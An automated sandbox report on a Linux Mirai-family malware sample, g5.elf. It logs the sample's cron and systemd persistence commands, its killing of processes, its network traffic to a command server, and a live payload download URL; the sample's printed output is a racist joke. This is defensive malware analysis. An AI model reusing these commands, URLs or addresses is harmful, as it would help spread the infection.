Edit tour

Linux Analysis Report
g5.elf

Overview

General Information

Sample name:	g5.elf
Analysis ID:	1589779
MD5:	0947b8ef749b4f928c2050559d7e734c
SHA1:	1e37a3067e6131106f6d4ae4f98fcc0cd8c6fe8e
SHA256:	9e9bca63d6c89ee16f353e391e0f8208ecd7e1e98e19672c35f6aa4c8d395738
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	64
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Drops files in suspicious directories

Executes the "crontab" command typically for achieving persistence

Sample tries to kill multiple processes (SIGKILL)

Sample tries to persist itself using cron

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "systemctl" command used for controlling the systemd system and service manager

Reads system information from the proc file system

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Writes shell script file to disk with an unusual file extension

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589779
Start date and time:	2025-01-13 06:41:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	g5.elf
Detection:	MAL
Classification:	mal64.spre.troj.evad.linELF@0/6@0/0

Warnings

VT rate limit hit for: http://103.136.41.100/g5

Runtime Messages

Command:	/tmp/g5.elf
PID:	6214
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate a lot
Standard Error:

Process Tree

system is lnxubuntu20

g5.elf (PID: 6214, Parent: 6130, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/g5.elf

g5.elf New Fork (PID: 6225, Parent: 6214)

sh (PID: 6225, Parent: 6214, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl daemon-reload > /dev/null 2>&1"

sh New Fork (PID: 6231, Parent: 6225)

systemctl (PID: 6231, Parent: 6225, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl daemon-reload

g5.elf New Fork (PID: 6243, Parent: 6214)

sh (PID: 6243, Parent: 6214, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl start hello.service > /dev/null 2>&1"

sh New Fork (PID: 6245, Parent: 6243)

systemctl (PID: 6245, Parent: 6243, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl start hello.service

g5.elf New Fork (PID: 6246, Parent: 6214)

sh (PID: 6246, Parent: 6214, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "crontab /tmp/crontab.tmp > /dev/null 2>&1"

sh New Fork (PID: 6251, Parent: 6246)

crontab (PID: 6251, Parent: 6246, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab /tmp/crontab.tmp

g5.elf New Fork (PID: 6252, Parent: 6214)

sh (PID: 6252, Parent: 6214, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "/etc/init.d/hello > /dev/null 2>&1"

sh New Fork (PID: 6257, Parent: 6252)

g5.elf New Fork (PID: 6258, Parent: 6214)

g5.elf New Fork (PID: 6260, Parent: 6258)

g5.elf New Fork (PID: 6263, Parent: 6260)

g5.elf New Fork (PID: 6264, Parent: 6260)

g5.elf New Fork (PID: 6267, Parent: 6260)

xfce4-panel New Fork (PID: 6216, Parent: 2063)

wrapper-2.0 (PID: 6216, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"

xfce4-panel New Fork (PID: 6217, Parent: 2063)

wrapper-2.0 (PID: 6217, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"

xfce4-panel New Fork (PID: 6218, Parent: 2063)

wrapper-2.0 (PID: 6218, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"

xfce4-panel New Fork (PID: 6219, Parent: 2063)

wrapper-2.0 (PID: 6219, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"

xfce4-panel New Fork (PID: 6220, Parent: 2063)

wrapper-2.0 (PID: 6220, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"

xfce4-panel New Fork (PID: 6221, Parent: 2063)

wrapper-2.0 (PID: 6221, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"

systemd New Fork (PID: 6233, Parent: 6232)

snapd-env-generator (PID: 6233, Parent: 6232, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

cleanup

Yara Signatures

⊘No yara matches

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

• AV Detection
• Networking
• System Summary
• Persistence and Installation Behavior
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: g5.elf

ReversingLabs: Detection: 39%

Source: global traffic

TCP traffic: 192.168.2.23:48820 -> 77.90.22.16:5625

Source: global traffic

TCP traffic: 192.168.2.23:35687 -> 1.1.1.1:53

Source: /tmp/g5.elf (PID: 6214)

Socket: 127.0.0.1:23476

Jump to behavior

Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 77.90.22.16
Source: unknown	TCP traffic detected without corresponding DNS query: 77.90.22.16
Source: unknown	TCP traffic detected without corresponding DNS query: 77.90.22.16
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 77.90.22.16
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 77.90.22.16
Source: unknown	TCP traffic detected without corresponding DNS query: 77.90.22.16
Source: unknown	TCP traffic detected without corresponding DNS query: 77.90.22.16
Source: unknown	TCP traffic detected without corresponding DNS query: 77.90.22.16

Source: g5.elf	String found in binary or memory: http://%d.%d.%d.%d/%s
Source: g5.elf, 6214.1.00007f827c033000.00007f827c039000.rw-.sdmp, g5.elf, 6258.1.00007f827c033000.00007f827c039000.rw-.sdmp	String found in binary or memory: http://1/wget.sh
Source: hello.service.12.dr, hello.12.dr, tmp.YK4hXT.40.dr, crontab.tmp.12.dr	String found in binary or memory: http://103.136.41.100/g5
Source: g5.elf, 6214.1.00007f827c033000.00007f827c039000.rw-.sdmp, g5.elf, 6258.1.00007f827c033000.00007f827c039000.rw-.sdmp	String found in binary or memory: http://9/curl.sh
Source: g5.elf, 6214.1.00007f827c033000.00007f827c039000.rw-.sdmp, g5.elf, 6258.1.00007f827c033000.00007f827c039000.rw-.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: g5.elf, 6214.1.00007f827c033000.00007f827c039000.rw-.sdmp, g5.elf, 6258.1.00007f827c033000.00007f827c039000.rw-.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/g5.elf (PID: 6214)	SIGKILL sent: pid: 2018, result: successful	Jump to behavior
Source: /tmp/g5.elf (PID: 6214)	SIGKILL sent: pid: 2077, result: successful	Jump to behavior
Source: /tmp/g5.elf (PID: 6214)	SIGKILL sent: pid: 2078, result: successful	Jump to behavior
Source: /tmp/g5.elf (PID: 6214)	SIGKILL sent: pid: 2079, result: successful	Jump to behavior
Source: /tmp/g5.elf (PID: 6214)	SIGKILL sent: pid: 2080, result: successful	Jump to behavior
Source: /tmp/g5.elf (PID: 6214)	SIGKILL sent: pid: 2083, result: successful	Jump to behavior
Source: /tmp/g5.elf (PID: 6214)	SIGKILL sent: pid: 2084, result: successful	Jump to behavior
Source: /tmp/g5.elf (PID: 6214)	SIGKILL sent: pid: 2156, result: successful	Jump to behavior
Source: /tmp/g5.elf (PID: 6214)	SIGKILL sent: pid: 6216, result: successful	Jump to behavior
Source: /tmp/g5.elf (PID: 6214)	SIGKILL sent: pid: 6217, result: successful	Jump to behavior
Source: /tmp/g5.elf (PID: 6214)	SIGKILL sent: pid: 6218, result: successful	Jump to behavior
Source: /tmp/g5.elf (PID: 6214)	SIGKILL sent: pid: 6219, result: successful	Jump to behavior
Source: /tmp/g5.elf (PID: 6214)	SIGKILL sent: pid: 6220, result: successful	Jump to behavior
Source: /tmp/g5.elf (PID: 6214)	SIGKILL sent: pid: 6221, result: successful	Jump to behavior

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/g5.elf (PID: 6214)	SIGKILL sent: pid: 2018, result: successful	Jump to behavior
Source: /tmp/g5.elf (PID: 6214)	SIGKILL sent: pid: 2077, result: successful	Jump to behavior
Source: /tmp/g5.elf (PID: 6214)	SIGKILL sent: pid: 2078, result: successful	Jump to behavior
Source: /tmp/g5.elf (PID: 6214)	SIGKILL sent: pid: 2079, result: successful	Jump to behavior
Source: /tmp/g5.elf (PID: 6214)	SIGKILL sent: pid: 2080, result: successful	Jump to behavior
Source: /tmp/g5.elf (PID: 6214)	SIGKILL sent: pid: 2083, result: successful	Jump to behavior
Source: /tmp/g5.elf (PID: 6214)	SIGKILL sent: pid: 2084, result: successful	Jump to behavior
Source: /tmp/g5.elf (PID: 6214)	SIGKILL sent: pid: 2156, result: successful	Jump to behavior
Source: /tmp/g5.elf (PID: 6214)	SIGKILL sent: pid: 6216, result: successful	Jump to behavior
Source: /tmp/g5.elf (PID: 6214)	SIGKILL sent: pid: 6217, result: successful	Jump to behavior
Source: /tmp/g5.elf (PID: 6214)	SIGKILL sent: pid: 6218, result: successful	Jump to behavior
Source: /tmp/g5.elf (PID: 6214)	SIGKILL sent: pid: 6219, result: successful	Jump to behavior
Source: /tmp/g5.elf (PID: 6214)	SIGKILL sent: pid: 6220, result: successful	Jump to behavior
Source: /tmp/g5.elf (PID: 6214)	SIGKILL sent: pid: 6221, result: successful	Jump to behavior

Source: classification engine

Classification label: mal64.spre.troj.evad.linELF@0/6@0/0

Persistence and Installation Behavior

Executes the "crontab" command typically for achieving persistence

Source: /bin/sh (PID: 6251)

Crontab executable: /usr/bin/crontab -> crontab /tmp/crontab.tmp

Jump to behavior

Sample tries to persist itself using cron

Source: /usr/bin/crontab (PID: 6251)

File: /var/spool/cron/crontabs/tmp.YK4hXT

Jump to behavior

Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/6236/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/6236/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/6236/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/6236/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/6235/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/6235/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/6235/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/6235/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/2033/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/2033/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/2033/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/2033/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/2275/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/2275/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/2275/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/2275/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/6193/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/6193/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/6193/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/6193/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/6194/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/6194/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/6194/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/6194/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1612/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1612/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1612/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1612/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1612/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/2028/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/2028/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/2028/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/2028/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/2028/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/3236/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/3236/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/3236/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/3236/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/2025/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/2025/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/2025/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/2025/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/2025/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/2146/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/2146/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/2146/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/2146/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/759/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/759/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/759/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/759/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/759/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/g5.elf (PID: 6267)	File opened: /proc/918/cmdline	Jump to behavior

Source: /tmp/g5.elf (PID: 6225)	Shell command executed: sh -c "systemctl daemon-reload > /dev/null 2>&1"	Jump to behavior
Source: /tmp/g5.elf (PID: 6243)	Shell command executed: sh -c "systemctl start hello.service > /dev/null 2>&1"	Jump to behavior
Source: /tmp/g5.elf (PID: 6246)	Shell command executed: sh -c "crontab /tmp/crontab.tmp > /dev/null 2>&1"	Jump to behavior
Source: /tmp/g5.elf (PID: 6252)	Shell command executed: sh -c "/etc/init.d/hello > /dev/null 2>&1"	Jump to behavior

Source: /bin/sh (PID: 6231)	Systemctl executable: /usr/bin/systemctl -> systemctl daemon-reload			Jump to behavior
Source: /bin/sh (PID: 6245)	Systemctl executable: /usr/bin/systemctl -> systemctl start hello.service			Jump to behavior

Source: /tmp/g5.elf (PID: 6214)

Reads from proc file: /proc/stat

Jump to behavior

Source: /tmp/g5.elf (PID: 6214)

Writes shell script file to disk with an unusual file extension: /etc/init.d/hello

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Drops files in suspicious directories

Source: /tmp/g5.elf (PID: 6214)

File: /etc/init.d/hello

Jump to dropped file

Source: /tmp/g5.elf (PID: 6214)

Queries kernel information via 'uname':

Jump to behavior

Source: g5.elf, 6214.1.00007ffdaf951000.00007ffdaf972000.rw-.sdmp	Binary or memory string: /tmp/qemu-open.EENzh3
Source: g5.elf, 6214.1.00007ffdaf951000.00007ffdaf972000.rw-.sdmp, g5.elf, 6258.1.00007ffdaf951000.00007ffdaf972000.rw-.sdmp	Binary or memory string: 9x86_64/usr/bin/qemu-arm/tmp/g5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/g5.elf
Source: g5.elf, 6214.1.00005566e81c5000.00005566e8316000.rw-.sdmp, g5.elf, 6258.1.00005566e81c5000.00005566e8316000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: g5.elf, 6214.1.00007ffdaf951000.00007ffdaf972000.rw-.sdmp	Binary or memory string: fU/tmp/qemu-open.EENzh3:%X
Source: g5.elf, 6214.1.00007ffdaf951000.00007ffdaf972000.rw-.sdmp, g5.elf, 6258.1.00007ffdaf951000.00007ffdaf972000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: g5.elf, 6214.1.00005566e81c5000.00005566e8316000.rw-.sdmp, g5.elf, 6258.1.00005566e81c5000.00005566e8316000.rw-.sdmp	Binary or memory string: fU!/etc/qemu-binfmt/arm

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Scheduled Task/Job	1 Systemd Service	1 Systemd Service	1 Masquerading	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scheduled Task/Job	1 Scheduled Task/Job	Rootkit	LSASS Memory	1 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Scripting	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Screenshots

Download Video

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
g5.elf	39%	ReversingLabs	Linux.Backdoor.Mirai

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://103.136.41.100/g5	100%	Avira URL Cloud	malware

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://103.136.41.100/g5	hello.service.12.dr, hello.12.dr, tmp.YK4hXT.40.dr, crontab.tmp.12.dr	false	Avira URL Cloud: malware	unknown
http://%d.%d.%d.%d/%s	g5.elf	false		high
http://1/wget.sh	g5.elf, 6214.1.00007f827c033000.00007f827c039000.rw-.sdmp, g5.elf, 6258.1.00007f827c033000.00007f827c039000.rw-.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	g5.elf, 6214.1.00007f827c033000.00007f827c039000.rw-.sdmp, g5.elf, 6258.1.00007f827c033000.00007f827c039000.rw-.sdmp	false		high
http://9/curl.sh	g5.elf, 6214.1.00007f827c033000.00007f827c039000.rw-.sdmp, g5.elf, 6258.1.00007f827c033000.00007f827c039000.rw-.sdmp	false		high
http://schemas.xmlsoap.org/soap/envelope/	g5.elf, 6214.1.00007f827c033000.00007f827c039000.rw-.sdmp, g5.elf, 6258.1.00007f827c033000.00007f827c039000.rw-.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
77.90.22.16	unknown	Germany	12586	ASGHOSTNETDE	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
77.90.22.16	g4.elf	Get hash	malicious	Unknown	Browse
	g6.elf	Get hash	malicious	Unknown	Browse
	g3.elf	Get hash	malicious	Unknown	Browse
	m1.elf	Get hash	malicious	Unknown	Browse
	m5.elf	Get hash	malicious	Unknown	Browse
	m2.elf	Get hash	malicious	Unknown	Browse
1.1.1.1	watchdog.elf	Get hash	malicious	Xmrig	Browse	1.1.1.1:8080/
	6fW0GedR6j.xls	Get hash	malicious	Unknown	Browse	1.1.1.1/ctrl/playback.php
	PO-230821_pdf.exe	Get hash	malicious	FormBook, NSISDropper	Browse	www.974dp.com/sn26/?kJBLpb8=qaEGeuQorcUQurUZCuE8d9pas+Z0M0brqtX248JBolEfq8j8F1R9i1jKZexhxY54UlRG&ML0tl=NZlpi
	AFfv8HpACF.exe	Get hash	malicious	Unknown	Browse	1.1.1.1/
	INVOICE_90990_PDF.exe	Get hash	malicious	FormBook	Browse	www.quranvisor.com/usvr/?mN9d3vF=HHrW7cA9N4YJlebHFvlsdlDciSnnaQItEG8Ccfxp291VjnjcuwoPACt7EOqEq4SWjIf8&Pjf81=-Zdd-V5hqhM4p2S
